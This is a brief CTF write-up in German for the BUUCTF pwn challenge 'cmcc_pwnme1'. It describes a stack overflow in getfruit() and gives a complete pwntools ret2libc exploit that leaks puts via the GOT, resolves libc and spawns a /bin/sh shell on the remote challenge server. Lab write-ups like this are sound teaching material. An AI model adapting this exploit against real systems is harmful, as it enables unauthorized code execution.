cmcc_pwnme1
Schritt
- Routineinspektion, 32-Bit-Programm, nutzlos, um den Schutz einzuschalten
- Probieren Sie es vor Ort aus, um die allgemeine Situation zu sehen
- 32-Bit-IDA wird geladen und die Funktion zum Lesen des Flags wird beim Abrufen der Zeichenfolge gefunden.
Die Position dieses Flags ist nicht klar, oder? Nach der Gewohnheit von buu sollte es falsch sein
main ()
getfruit (), Hier gibt es einen Stapelüberlauf
- Versuchen Sie zuerst die Funktion, die das Flag liest, wie ich dachte, das Flag-Verzeichnis auf buu ist nicht da
- Da ich sah, dass es nutzlos war, nx einzuschalten, wollte ich zuerst Shellcode verwenden, aber da ich die Position des Parameters v1 auf dem Stapel nicht ermitteln konnte, wechselte ich zu ret2libc.
Volle exp
from pwn import *
from LibcSearcher import *
#r=process('./pwnme1')
r=remote('node3.buuoj.cn',25064)
elf=ELF('./pwnme1')
puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
main_addr=elf.sym['main']
#泄露libc
r.recvuntil('Exit')
r.sendline('5')
payload='a'*(0xa4+4)+p32(puts_plt)+p32(main_addr)+p32(puts_got)
r.sendline(payload)
#计算system和bin/sh地址
puts_addr=u32(r.recvuntil('\xf7')[-4:])
libc=LibcSearcher('puts',puts_addr)
libc_base=puts_addr-libc.dump('puts')
sys_addr=libc_base+libc.dump('system')
bin_addr=libc_base+libc.dump('str_bin_sh')
r.recvuntil('Exit')
r.sendline('5')
payload='a'*(0xa4+4)+p32(sys_addr)+p32(0)+p32(bin_addr)
r.sendline(payload)
r.interactive()